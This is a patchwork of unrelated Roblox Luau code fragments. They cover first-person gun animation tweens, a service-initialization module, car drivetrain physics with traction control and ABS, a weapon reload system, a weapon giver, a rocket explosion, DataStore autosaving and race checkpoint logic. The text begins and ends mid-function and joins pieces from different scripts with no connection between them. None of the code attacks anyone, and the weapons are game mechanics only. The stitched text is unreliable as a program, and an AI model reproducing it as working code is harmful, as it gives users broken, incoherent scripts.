wait(0.1) end; BoltForwardAnim = function(char, speed, objs) objs[5]:WaitForChild("BoltForward"):Play() TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1) TweenJoint(objs[2], nil , CFrame.new(0.299306631, -1.18411899, -1.32660568, 0.803367436, 0.238225982, 0.545755446, -0.118667498, -0.834062338, 0.538755715, 0.583539844, -0.497582287, -0.641788721), function(X) return math.sin(math.rad(X)) end, 0.1) TweenJoint(objs[3], nil , CFrame.new(-0.833141267, -0.291854143, -1.55439997, 0.642787576, 3.34848629e-08, -0.766044378, 0.766044378, -2.80971371e-08, 0.642787576, 0, -1, -4.37113883e-08), function(X) return math.sin(math.rad(X)) end, 0.2) wait(0.1) end; -- Bolting Back BoltingBackAnim = function(char, speed, objs) TweenJoint(objs[1], nil , CFrame.new(0, 0, 0.273770154, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.001) end; BoltingForwardAnim = function(char, speed, objs) TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.001) end; InspectAnim = function(char, speed, objs) ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.999723792, 0.0109803826, 0.0207702816, -0.0223077796, 0.721017241, 0.692557871, -0.00737112388, -0.692829967, 0.721063137)}):Play() ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-1.49363565, -0.699174881, -1.32277012, 0.66716975, -8.8829113e-09, -0.74490571, 0.651565909, -0.484672248, 0.5835706, -0.361035138, -0.874695837, -0.323358655)}):Play() wait(1) ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(1.37424219, -0.699174881, -1.03685927, -0.204235911, 0.62879771, 0.750267386, 0.65156585, -0.484672219, 0.58357054, 0.730581641, 0.60803473, -0.310715646)}):Play() wait(1) ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.32277012, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play() ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play() wait(1) local MagC = Tool:WaitForChild("Mag"):clone() MagC:FindFirstChild("Mag"):Destroy() MagC.Parent = Tool MagC.Name = "MagC" local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(Tool:WaitForChild('Mag').CFrame) Tool.Mag.Transparency = 1 Tool:WaitForChild('Grip'):WaitForChild("MagOut"):Play() ts:Create(objs[2],TweenInfo.new(0.15),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.55972552, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play() ts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play() wait(0.13) ts:Create(objs[2],TweenInfo.new(0.20),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.28149843, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play() wait(0.20) ts:Create(objs[1],TweenInfo.new(0.5),{C1 = CFrame.new(0.447846293, -0.650498748, -1.82401526, 0.761665463, -0.514432132, 0.393986136, -0.646156013, -0.55753684, 0.521185875, -0.0484529883, -0.651545882, -0.75706023)}):Play() wait(0.8) ts:Create(objs[1],TweenInfo.new(0.6),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play() wait(0.5) Tool:WaitForChild('Grip'):WaitForChild("MagIn"):Play() ts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play() wait(0.3) MagC:Destroy() Tool.Mag.Transparency = 0 wait(0.1) end; nadeReload = function(char, speed, objs) ts:Create(objs[1], TweenInfo.new(0.6), {C1 = CFrame.new(-0.902175903, -1.15645337, -1.32277012, 0.984807789, -0.163175702, -0.0593911409, 0, -0.342020363, 0.939692557, -0.17364797, -0.925416529, -0.336824328)}):Play() ts:Create(objs[2], TweenInfo.new(0.6), {C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.787567914, -0.220087856, 0.575584888, -0.323594928, 0.647189975, 0.690240026, -0.524426222, -0.72986728, 0.438486755)}):Play() wait(0.6) ts:Create(objs[2], TweenInfo.new(0.6), {C1 = CFrame.new(0.805950999, 0.559619546, -1.73060048, 0.802135408, -0.348581612, 0.484839559, -0.597102284, -0.477574915, 0.644508123, 0.00688350201, -0.806481719, -0.59121877)}):Play() wait(0.6) end; AttachAnim = function(char, speed, objs) TweenJoint(objs[1], nil , CFrame.new(-2.05413628, -0.386312962, -0.955676377, 0.5, 0, -0.866025329, 0.852868497, -0.17364797, 0.492403895, -0.150383547, -0.984807789, -0.086823985), function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[2], nil , CFrame.new(0.931334019, 1.66565645, -1.2231313, 0.787567914, -0.220087856, 0.575584888, -0.0180282295, 0.925416708, 0.378521889, -0.615963817, -0.308488399, 0.724860728), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.18) end; -- Patrol Anim PatrolAnim = function(char, speed, objs) TweenJoint(objs[1], nil , sConfig.PatrolPosR, function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[2], nil , sConfig.PatrolPosL, function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.18) end; } return Settings
-- Adds a service to this provider only
function ServiceBag:_addServiceType(serviceType) if not self._serviceTypesToInitializeSet then error(("Already finished initializing, cannot add %q"):format(tostring(serviceType))) return end -- Already added if self._services[serviceType] then return end -- Construct a new version of this service so we're isolated local service = setmetatable({}, { __index = serviceType }) self._services[serviceType] = service self:_ensureInitialization(serviceType) end function ServiceBag:_ensureInitialization(serviceType) if self._initializedServiceTypeSet[serviceType] then return end if self._initializing then self._serviceTypesToInitializeSet[serviceType] = nil self._initializedServiceTypeSet[serviceType] = true self:_initService(serviceType) elseif self._serviceTypesToInitializeSet then self._serviceTypesToInitializeSet[serviceType] = true else error("[ServiceBag._ensureInitialization] - Cannot initialize past initializing phase ") end end function ServiceBag:_initService(serviceType) local service = assert(self._services[serviceType], "No service") if service.Init then local current task.spawn(function() current = coroutine.running() service:Init(self) end) assert(coroutine.status(current) == "dead", "Initializing service yielded") end table.insert(self._serviceTypesToStart, serviceType) end
--the animation is under the script, you can rename it but you would have to change the script.Put your anim ID where the anim is instead of mine
-- return to idle if finishing an emote
if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then oldAnim = "idle" end currentAnim = "" currentAnimInstance = nil if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:Disconnect() end if (currentAnimTrack ~= nil) then currentAnimTrack:Stop() currentAnimTrack:Destroy() currentAnimTrack = nil end return oldAnim end function setAnimationSpeed(speed) if speed ~= currentAnimSpeed then currentAnimSpeed = speed currentAnimTrack:AdjustSpeed(currentAnimSpeed) end end function keyFrameReachedFunc(frameName) if (frameName == "End") then local repeatAnim = currentAnim
--[=[ @class Signal Signals allow events to be dispatched and handled. For example: ```lua local signal = Signal.new() signal:Connect(function(msg) print("Got message:", msg) end) signal:Fire("Hello world!") ``` ]=]
local Signal = {} Signal.__index = Signal
-- Private Methods
function init(self) local frame = self.Frame local maid = self._Maid maid:Mark(frame:GetPropertyChangedSignal("Text"):Connect(function() local mask = self._MaskType local result = mask:Process(frame.Text):sub(1, self._MaxLength) frame.Text = result end)) maid:Mark(frame.FocusLost:Connect(function() local mask = self._MaskType if (not mask:Verify(frame.Text)) then frame.Text = mask.Default end end)) end
-- Tracking variables for auto-throttling
local frameCount = 0 local frameTick = tick() local difSegmentsPerArc = Constants.SEGMENT_PER_ARC_MAX - Constants.SEGMENT_PER_ARC_MIN local difDistanceModifier = Constants.THROTTLE_DISTANCE_MODIFIER_MAX - Constants.THROTTLE_DISTANCE_MODIFIER_MIN
--REVERSE
if _CGear==1 and _GBrake > 0 and car.DriveSeat.Velocity.Magnitude < .05 then _CGear = -1 else if _Tune.AutoShiftMode == "RPM" then if _RPM>(_Tune.PeakRPM+_Tune.AutoUpThresh) then _CGear=math.min(_CGear+1,#_Tune.Ratios-2) elseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFDr,_Tune.Redline+100),_Tune.IdleRPM)<(_Tune.PeakRPM-_Tune.AutoDownThresh) then _CGear=math.max(_CGear-1,1) end else if car.DriveSeat.Velocity.Magnitude > math.ceil(wDRatio*(_Tune.PeakRPM+_Tune.AutoUpThresh)/_Tune.Ratios[_CGear+2]/fFD) then _CGear=math.min(_CGear+1,#_Tune.Ratios-2) elseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDRatio*(_Tune.PeakRPM-_Tune.AutoDownThresh)/_Tune.Ratios[_CGear+1]/fFD) then _CGear=math.max(_CGear-1,1) end end end else if _GThrot-(_Tune.IdleThrottle/100) > 0 and car.DriveSeat.Velocity.Magnitude < 20 then _CGear = 1 end end end --Average Rotational Speed Calculation local fwspeed=0 local fwcount=0 local rwspeed=0 local rwcount=0 for i,v in pairs(car.Wheels:GetChildren()) do if v.Name=="FL" or v.Name=="FR" or v.Name == "F" then fwspeed=fwspeed+v.RotVelocity.Magnitude fwcount=fwcount+1 elseif v.Name=="RL" or v.Name=="RR" or v.Name == "R" then rwspeed=rwspeed+v.RotVelocity.Magnitude rwcount=rwcount+1 end end fwspeed=fwspeed/fwcount rwspeed=rwspeed/rwcount local cwspeed=(fwspeed+rwspeed)/2 --Update Wheels for i,v in pairs(car.Wheels:GetChildren()) do --Reference Wheel Orientation local Ref=(CFrame.new(v.Position-((v.Arm.CFrame*cfWRot).lookVector),v.Position)*cfYRot).lookVector local aRef=1 local diffMult=1 if v.Name=="FL" or v.Name=="RL" then aRef=-1 end --AWD Torque Scaling if _Tune.Config == "AWD" then _OutTorque = _OutTorque*rtTwo end --Differential/Torque-Vectoring if v.Name=="FL" or v.Name=="FR" then diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-fwspeed)/fwspeed)/(math.max(_Tune.FDiffSlipThres,1)/100))*((_Tune.FDiffLockThres-50)/50)))) if _Tune.Config == "AWD" then diffMult=math.max(0,math.min(1,diffMult*(1+((((fwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50))))) end elseif v.Name=="RL" or v.Name=="RR" then diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-rwspeed)/rwspeed)/(math.max(_Tune.RDiffSlipThres,1)/100))*((_Tune.RDiffLockThres-50)/50)))) if _Tune.Config == "AWD" then diffMult=math.max(0,math.min(1,diffMult*(1+((((rwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50))))) end end _TCSActive = false _ABSActive = false --Output if _PBrake and ((_Tune.Config ~= "FWD" and (((v.Name=="FL" or v.Name=="FR") and car.DriveSeat.Velocity.Magnitude<20) or ((v.Name=="RR" or v.Name=="RL") and car.DriveSeat.Velocity.Magnitude>=20))) or (_Tune.Config == "FWD" and (v.Name=="RR" or v.Name=="RL"))) then --PBrake v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*PBrakeForce v["#AV"].angularvelocity=Vector3.new() else --Apply Power if ((_TMode == "Manual" or _TMode == "Semi") and _GBrake==0) or (_TMode == "Auto" and ((_CGear>-1 and _GBrake==0 ) or (_CGear==-1 and _GThrot-(_Tune.IdleThrottle/100)==0 )))then local driven = false for _,a in pairs(Drive) do if a==v then driven = true end end if driven then local on=1 if not script.Parent.IsOn.Value then on=0 end local throt = _GThrot if _TMode == "Auto" and _CGear==-1 then throt = _GBrake end --Apply TCS local tqTCS = 1 if _TCS then tqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100))) end if tqTCS < 1 then _TCSActive = true end --Update Forces local dir = 1 if _CGear==-1 then dir = -1 end v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*_OutTorque*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on v["#AV"].angularvelocity=Ref*aRef*_spLimit*dir else v["#AV"].maxTorque=Vector3.new() v["#AV"].angularvelocity=Vector3.new() end --Brakes else local brake = _GBrake if _TMode == "Auto" and _CGear==-1 then brake = _GThrot end --Apply ABS local tqABS = 1 if _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then tqABS = 0 end if tqABS < 1 then _ABSActive = true end --Update Forces if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS else v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS end v["#AV"].angularvelocity=Vector3.new() end end end end
-- This function is used to set configuration values from outside configuration objects/folders
function BaseWeapon:importConfiguration(config) if not config or not config:IsA("Configuration") then for _, child in pairs(config:GetChildren()) do if child:IsA("ValueBase") then local valueName = child.Name local newValue = child.Value local oldValue = self.configValues[valueName] self.configValues[valueName] = newValue self:onConfigValueChanged(valueName, newValue, oldValue) end end end end function BaseWeapon:setConfiguration(config) self:cleanupConnection("configChildAdded", "configChildRemoved") if not config or not config:IsA("Configuration") then return end for _, child in pairs(config:GetChildren()) do if child:IsA("ValueBase") then self:onConfigValueAdded(child) end end self.connections.configChildAdded = config.ChildAdded:Connect(function(child) if child:IsA("ValueBase") then self:onConfigValueAdded(child) end end) self.connections.configChildRemoved = config.ChildRemoved:Connect(function(child) if child:IsA("ValueBase") then self:onConfigValueRemoved(child) end end) end function BaseWeapon:onChildAdded(child) if child:IsA("Configuration") then self:setConfiguration(child) end end function BaseWeapon:onChildRemoved(child) if child:IsA("Configuration") then self:setConfiguration(nil) end end function BaseWeapon:onConfigValueChanged(valueName, newValue, oldValue) end function BaseWeapon:onRenderStepped(dt) end function BaseWeapon:onStepped(dt) end function BaseWeapon:getAnimationController() if self.animController then if not self.instanceIsTool or (self.animController.Parent and self.animController.Parent:IsAncestorOf(self.instance)) then return self.animController end end self:setAnimationController(nil) if self.instanceIsTool then local humanoid = IsServer and self.instance.Parent:FindFirstChildOfClass("Humanoid") or self.instance.Parent:WaitForChild("Humanoid", math.huge) local animController = nil if not humanoid then animController = self.instance.Parent:FindFirstChildOfClass("AnimationController") end self:setAnimationController(humanoid or animController) return self.animController end end function BaseWeapon:setAnimationController(animController) if animController == self.animController then return end self:stopAnimations() self.animController = animController end function BaseWeapon:stopAnimations() for _, track in pairs(self.animTracks) do if track.IsPlaying then track:Stop() end end self.animTracks = {} end function BaseWeapon:getAnimTrack(key) local track = self.animTracks[key] if not track then local animController = self:getAnimationController() if not animController then warn("No animation controller when trying to play ", key) return nil end local animation = AnimationsFolder:FindFirstChild(key) if not animation then error(string.format("No such animation \"%s\" ", tostring(key))) end track = animController:LoadAnimation(animation) self.animTracks[key] = track end return track end function BaseWeapon:reload(player, fromNetwork) if not self.equipped or self.reloading or not self.canReload or self:getAmmoInWeapon() == self:getConfigValue("AmmoCapacity", 30) then return false end if not IsServer then if self.player ~= nil and self.player ~= Players.LocalPlayer then return end self.weaponsSystem.getRemoteEvent("WeaponReloadRequest"):FireServer(self.instance) self:onReloaded(self.player) else self:onReloaded(player, fromNetwork) self.weaponsSystem.getRemoteEvent("WeaponReloaded"):FireAllClients(player, self.instance) end end function BaseWeapon:onReloaded(player, fromNetwork) if fromNetwork and player == Players.LocalPlayer then -- make sure localplayer doesn't reload twice return end self.reloading = true self.canReload = false -- Play reload animation and sound if not IsServer then local reloadTrackKey = self:getConfigValue("ReloadAnimation", "RifleReload") if reloadTrackKey then self.reloadTrack = self:getAnimTrack(reloadTrackKey) if self.reloadTrack then self.reloadTrack:Play() end end self.curReloadSound = self:tryPlaySound("Reload", nil) if self.curReloadSound then self.curReloadSound.Ended:Connect(function() self.curReloadSound = nil end) end end local reloadTime = self:getConfigValue("ReloadTime", 2) local startTime = tick() if self.connections.reload ~= nil then -- this prevents an endless ammo bug return end self.connections.reload = RunService.Heartbeat:Connect(function() -- Stop trying to reload if the player unequipped this weapon or reloading was canceled some other way if not self.reloading then if self.connections.reload then self.connections.reload:Disconnect() self.connections.reload = nil end end -- Wait until gun finishes reloading if tick() < startTime + reloadTime then return end -- Add ammo to weapon if self.ammoInWeaponValue then self.ammoInWeaponValue.Value = self:getConfigValue("AmmoCapacity", 30) end if self.connections.reload then self.connections.reload:Disconnect() self.connections.reload = nil end self.reloading = false self.canReload = false end) end function BaseWeapon:cancelReload(player, fromNetwork) if not self.reloading then return end if fromNetwork and player == Players.LocalPlayer then return end if not IsServer and not fromNetwork and player == Players.LocalPlayer then self.weaponsSystem.getRemoteEvent("WeaponReloadCanceled"):FireServer(self.instance) elseif IsServer and fromNetwork then self.weaponsSystem.getRemoteEvent("WeaponReloadCanceled"):FireAllClients(player, self.instance) end self.reloading = false self.canReload = true if not IsServer and self.reloadTrack and self.reloadTrack.IsPlaying then warn("Stopping reloadTrack") self.reloadTrack:Stop() end if self.curReloadSound then self.curReloadSound:Stop() self.curReloadSound:Destroy() self.curReloadSound = nil end end function BaseWeapon:getAmmoInWeapon() if self.ammoInWeaponValue then return self.ammoInWeaponValue.Value end return 0 end function BaseWeapon:useAmmo(amount) if self.ammoInWeaponValue then local ammoUsed = math.min(amount, self.ammoInWeaponValue.Value) self.ammoInWeaponValue.Value = self.ammoInWeaponValue.Value - ammoUsed self.canReload = true return ammoUsed else return 0 end end function BaseWeapon:renderCharge() end return BaseWeapon
----------------------------------------------------------------------------------------- --[[ Thanks for using Zed's Mesh Giver 2.0! Instructions: 1) Find the mesh in you weapon. Generally it should be inside a brick called "Handle" 2) Copy and Paste that mesh into the scenebrick, remove the mesh currently in the scenebrick first. 3) Open up the settings folder in thsi model and edit the following settings: - Regen Time: Time it takes for a person to be able to use the giver again. - StartColor: Colour of the bricks that are currently blue. - RegenColor: Colour of the current blue bricks will be turned to a different color meaning its currently regenrating. - WeaponName: Copy and past the exact name of the weapon into the value of the WeaponName value. 4) Cut and paste the weapon into ServerStorage 5) Done! ----------------Don't edit below unless you know what you're doing-------------------------- --]]
SColor = script.Parent.Settings:FindFirstChild("StartColor") RColor = script.Parent.Settings:FindFirstChild("RegenColor") RTime = script.Parent.Settings:FindFirstChild("RegenTime") Weapon = script.Parent.Settings:FindFirstChild("WeaponName") Center = script.Parent.ColoredParts:FindFirstChild("TouchMe") deb = false Center.Touched:connect(function(part) if part.Parent:FindFirstChild("Humanoid") then if part.Parent.Humanoid.Health > 0 then if game.Players:FindFirstChild(part.Parent.Name) then if game.ServerStorage:FindFirstChild(Weapon.Value) then if deb == false then deb = true for i,v in pairs (script.Parent.ColoredParts:GetChildren()) do if v:IsA("Part") then v.BrickColor = RColor.Value end end local wep = game.ServerStorage:FindFirstChild(Weapon.Value) wep:Clone().Parent = game.Players:FindFirstChild(part.Parent.Name).Backpack wait(RTime.Value) deb = false for i,v in pairs (script.Parent.ColoredParts:GetChildren()) do if v:IsA("Part") then v.BrickColor = SColor.Value end end end else print("Error: "..Weapon.Value.." not found in 'ServerStorage'.") end end end end end)
--- These are the IDs of possible blood textures, I already set 3 up for u k
local blood_textures = { 176678030, 176678048, 176678086 }
-- initialize to idle
playAnimation("idle", 0.1, Humanoid) pose = "Standing" while Figure.Parent~=nil do local _, time = wait(0.1) move(time) end
--wait()
local creator = script.Parent:findFirstChild("creator") local move = script.Parent:findFirstChild("Move") local active = true function tagHumanoid(humanoid, creator) if creator ~= nil then local new_tag = creator:clone() new_tag.Parent = humanoid end end function onPlayerBlownUp(part, distance, creator) if part.Name == "Head" then local humanoid = part.Parent.Humanoid tagHumanoid(humanoid, creator) end end function set_Off(hit) if active == true then active = false explosion = Instance.new("Explosion") explosion.BlastRadius = 45 explosion.BlastPressure = 50000 local creator = script.Parent:findFirstChild("creator") if creator ~= nil then explosion.Hit:connect(function(part, distance) onPlayerBlownUp(part, distance, creator) end) end explosion.Position = script.Parent.Position explosion.Parent = game.Workspace wait() script.Parent:remove() end end script.Parent.Touched:connect(set_Off) for i = 1,100 do wait() local desired = Instance.new("Vector3Value") desired.Value = script.Parent.CFrame.lookVector * 2100 local difference = desired.Value - move.velocity if difference.magnitude >= move.velocity.magnitude then move.velocity = move.velocity + (difference*(0.01*i)) end end
--[=[ Prop that fires when saving. Promise will resolve once saving is complete. @prop Saving Signal<Promise> @within DataStore ]=]
self.Saving = Signal.new() -- :Fire(promise) self._maid:GiveTask(self.Saving) task.spawn(function() while self.Destroy do for _=1, CHECK_DIVISION do task.wait(AUTO_SAVE_TIME/CHECK_DIVISION) if not self.Destroy then break end end if not self.Destroy then break end -- Apply additional jitter on auto-save task.wait(math.random(1, JITTER)) if not self.Destroy then break end self:Save() end end) return self end
-- ================================================================================ -- LOCAL FUNCTIONS -- ================================================================================
local function setupCheckpoints(args) if not (activePlayer) then return end local numLaps = 1 if #args >= 1 then numLaps = args[1] end -- Player is in race inRace = true -- Set the number of laps in the race and use it to calc the total number -- of checkpoints if (numLaps and _numLaps == 0) then _numLaps = numLaps numCheckpoints = numCheckpoints * _numLaps end -- Set up checkpoints (color as not hit) for _, checkpoint in ipairs(checkpointList) do local checkpointCollisionBody = checkpoint:FindFirstChild("Checkpoint") -- Set color of checkpoint checkpointCollisionBody.Color = NOT_HIT_COLOR -- Set color of checkpoint ring if one exists local ring = checkpoint:FindFirstChild("Ring") if ring then ring.Color = NOT_HIT_COLOR end end if not ArrowGuide then ArrowGuide = require(script:WaitForChild("ArrowGuide")) end arrow = ArrowGuide.new(checkpointList) end -- setupCheckpoints() local function checkpointHit(args) if not (activePlayer and inRace) then return end local checkpointCollisionBody = false if #args >= 1 then checkpointCollisionBody = args[1] else return end local parent = checkpointCollisionBody.Parent -- Mark checkpoint as hit local hit = parent:FindFirstChild("Hit") if not (hit) then hit = Instance.new("BoolValue") hit.Name = "Hit" hit.Parent = parent hit.Value = true else -- Checkpoint already hit return end -- Set color of checkpoint checkpointCollisionBody.Color = HIT_COLOR -- Set color of checkpoint ring if one exists local ring = checkpointCollisionBody.Parent:FindFirstChild("Ring") if ring then ring.Color = HIT_COLOR end -- Create particle effect local particle = checkpointParticle:Clone() local character = player.Character or player.CharacterAdded:wait() particle.CFrame = character.PrimaryPart.CFrame particle.Parent = character.PrimaryPart --particle.CFrame = checkpointCollisionBody.CFrame --particle.Parent = checkpointCollisionBody local emitterChildren = particle:GetChildren() for _, child in pairs(emitterChildren) do -- If the child is a particle, then cause it to emit if child:IsA("ParticleEmitter") then child:Emit(10) end end -- Destroy particle after PARTICLE_DURATION seconds spawn(function() wait(PARTICLE_DURATION) particle:Destroy() end) -- Play checkpoint sound checkpointSound.Parent = checkpointCollisionBody checkpointSound:Play() -- Increment checkpoints hit count numCheckpointsHit = numCheckpointsHit + 1 -- Display checkpoint count CheckpointCount.Text = tostring(numCheckpointsHit).."/"..tostring(numCheckpoints) end -- checkpointHit() local function newLap() if not (activePlayer and inRace) then return end -- Set up checkpoints (color as not hit) for _, checkpoint in ipairs(checkpointList) do local checkpointCollisionBody = checkpoint:FindFirstChild("Checkpoint") -- Delete hit BoolValue local hit = checkpoint:FindFirstChild("Hit") if hit then hit:Destroy() end -- Set color of checkpoint checkpointCollisionBody.Color = NOT_HIT_COLOR -- Set color of checkpoint ring if one exists local ring = checkpoint:FindFirstChild("Ring") if ring then ring.Color = NOT_HIT_COLOR end end end -- newLap() local function resetCheckpoints() inRace = false numCheckpointsHit = 0 -- Set up checkpoints (color as not hit) for _, checkpoint in ipairs(checkpointList) do local checkpointCollisionBody = checkpoint:FindFirstChild("Checkpoint") -- Delete hit BoolValue local hit = checkpoint:FindFirstChild("Hit") if hit then hit:Destroy() end -- Set color of checkpoint checkpointCollisionBody.Color = HIT_COLOR -- Set color of checkpoint ring if one exists local ring = checkpoint:FindFirstChild("Ring") if ring then ring.Color = HIT_COLOR end end arrow:Destroy() -- Display checkpoint count CheckpointCount.Text = tostring(numCheckpointsHit).."/"..tostring(numCheckpoints) end -- resetCheckpoints() local function setActive(args) local active = false if #args >= 1 then active = args[1] else return end activePlayer = active -- No longer in current race if no longer active if (not active and inRace) then inRace = false resetCheckpoints() end if not active then -- Hide racing GUIs local PlayerGui = player.PlayerGui local TopBar = PlayerGui:FindFirstChild("TopBar") TopBar.Enabled = false end end -- setActive() local function raceFinished() RaceFinishedSound:Play() end local function checkpointEvent(args) for _, arg in pairs(args) do if arg[1] == "setup" then table.remove(arg, 1) setupCheckpoints(arg) elseif arg[1] == "checkpointHit" then table.remove(arg, 1) checkpointHit(arg) elseif arg[1] == "newLap" then newLap() elseif arg[1] == "reset" then resetCheckpoints() elseif arg[1] == "setActive" then table.remove(arg, 1) setActive(arg) elseif arg[1] == "raceFinished" then table.remove(arg, 1) raceFinished() end end end -- checkpointEvent()
--// Handling Settings
Firerate = 60 / 780; -- 60 = 1 Minute, 780 = Rounds per that 60 seconds. DO NOT TOUCH THE 60! FireMode = 1; -- 1 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive
-- Main loop for the entire game
RaceManager:SetRaceDuration(GameSettings.roundDuration) while true do -- Only enter 'Waiting for Players' loop if there are not enough players to start -- a round if #PlayerManager.ActivePlayers < GameSettings.minimumPlayers then RaceManager:SetRaceStatus(RaceManager.Status.WaitingForPlayers) DisplayManager.updateTime(0) PlayerManager.MiminumActivePlayers:Wait() end -- Actual Intermission gameTimer:stop() RaceManager:SetRaceStatus(RaceManager.Status.WaitingForRaceToStart) gameTimer:start(GameSettings.intermissionDuration) DisplayManager.trackTimer(gameTimer) gameTimer.finished:Wait() -- Prepare players at start of race and start countdown PlayerManager:PreparePlayers() RaceManager:SetRaceStatus(RaceManager.Status.Countdown) gameTimer:stop() gameTimer:start(GameSettings.countdownDuration) DisplayManager.trackTimer(gameTimer) gameTimer.finished:Wait() -- Start the race PlayerManager:StartPlayer() RaceManager:SetRaceStatus(RaceManager.Status.RoundInProgress) gameTimer:stop() gameTimer:start(GameSettings.roundDuration) DisplayManager.trackTimer(gameTimer) RaceManager:Start(PlayerManager.ActivePlayers) -- Waits until the roundEnd event has fired before continuing the script local resultString, raceFinished raceFinished = RaceManager.RaceFinished:Connect(function(winner) if winner then resultString = "WINNER: "..winner.Name LeaderboardManager:incrementStat(winner, "Wins") else resultString = "NOBODY WON!" end raceFinished:Disconnect() end) RaceManager.RaceFinished:wait() DisplayManager.updateTime(0) repeat wait() until resultString local timeLeft = gameTimer:getTimeLeft() or 0 local resultTime = GameSettings.roundDuration - timeLeft gameTimer:stop() PlayerManager:DisplayRoundResult(resultString, resultTime) gameTimer:start(GameSettings.transitionEnd) DisplayManager.trackTimer(gameTimer) -- Starts the end intermission RaceManager:SetRaceStatus(RaceManager.Status.RoundOver) wait(GameSettings.transitionEnd) -- Resets the game by moving players back into the lobby and clearing used variables PlayerManager:ResetPlayers() end
--[[ Remove the element at the given index. ]]
local function removeIndex(list, index) local new = {} local removed = 0 for i = 1, #list do if i == index then removed = 1 else new[i - removed] = list[i] end end return new end return removeIndex
-- / Game Assets / --
local GameAssets = game.ServerStorage.GameAssets local Badges = GameAssets.Badges
------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------
local toolAnimName = "" local toolAnimTrack = nil local toolAnimInstance = nil local currentToolAnimKeyframeHandler = nil function toolKeyFrameReachedFunc(frameName) if (frameName == "End") then -- print("Keyframe : ".. frameName) playToolAnimation(toolAnimName, 0.0, Humanoid) end end function playToolAnimation(animName, transitionTime, humanoid, priority) local roll = math.random(1, animTable[animName].totalWeight) local origRoll = roll local idx = 1 while (roll > animTable[animName][idx].weight) do roll = roll - animTable[animName][idx].weight idx = idx + 1 end -- print(animName .. " * " .. idx .. " [" .. origRoll .. "]") local anim = animTable[animName][idx].anim if (toolAnimInstance ~= anim) then if (toolAnimTrack ~= nil) then toolAnimTrack:Stop() toolAnimTrack:Destroy() transitionTime = 0 end -- load it to the humanoid; get AnimationTrack toolAnimTrack = humanoid:LoadAnimation(anim) if priority then toolAnimTrack.Priority = priority end -- play the animation toolAnimTrack:Play(transitionTime) toolAnimName = animName toolAnimInstance = anim currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc) end end function stopToolAnimations() local oldAnim = toolAnimName if (currentToolAnimKeyframeHandler ~= nil) then currentToolAnimKeyframeHandler:disconnect() end toolAnimName = "" toolAnimInstance = nil if (toolAnimTrack ~= nil) then 